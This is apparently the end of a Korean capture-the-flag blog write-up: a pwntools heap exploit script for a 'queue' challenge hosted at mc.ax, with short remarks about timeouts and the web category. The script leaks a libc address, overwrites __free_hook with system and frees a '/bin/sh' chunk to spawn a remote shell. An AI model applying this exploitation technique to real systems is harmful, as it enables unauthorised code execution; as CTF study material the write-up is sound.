from pwn import *

#r = process("./queue")
r = remote("mc.ax", 31283)

def create(idx):
    r.sendline("1")
    r.sendline(str(idx))

def free(idx):
    r.sendline("2")
    r.sendline(str(idx))

def push(idx, data):
    r.sendline("3")
    r.sendline(str(idx))
    r.sendline(data)

def pop(idx):
    r.sendline("4")
    r.sendline(str(idx))

def compact(idx):
    r.sendline("5")
    r.sendline(str(idx))

def debug(idx):
    r.sendline("69")
    r.sendline(str(idx))

create(2)
create(0)
debug(0)
r.recvuntil("cmp: ")

libc_leak = int(r.recv(14), 16)
libc_base = libc_leak - 0x183bd0
system = libc_base + 0x52290
free_hook = libc_base + 0x1eee48
print(hex(libc_leak))

compact(0)
push(0, b"a"*0x1e)
create(1)
for i in range(4):
    push(1, b"Sechack")
for i in range(4):
    pop(1)

for i in range(0x11):
    push(0, b"a"*0x1e)

push(0, p64(free_hook))

push(2, b"/bin/sh\x00")
push(2, "Sechack")
push(2, p64(system))

pop(2)

r.interactive()

 

얘도 전 문제처럼 timeout때문에 익스 안될까봐 처음부터 그냥 sendline써줬다.

 

 

 

GG~~

 

 

웹은 자고일어나서 대회 하려고 보니까 거의다 풀려있길래 딱히 건들게 없었다.

반응형
Comments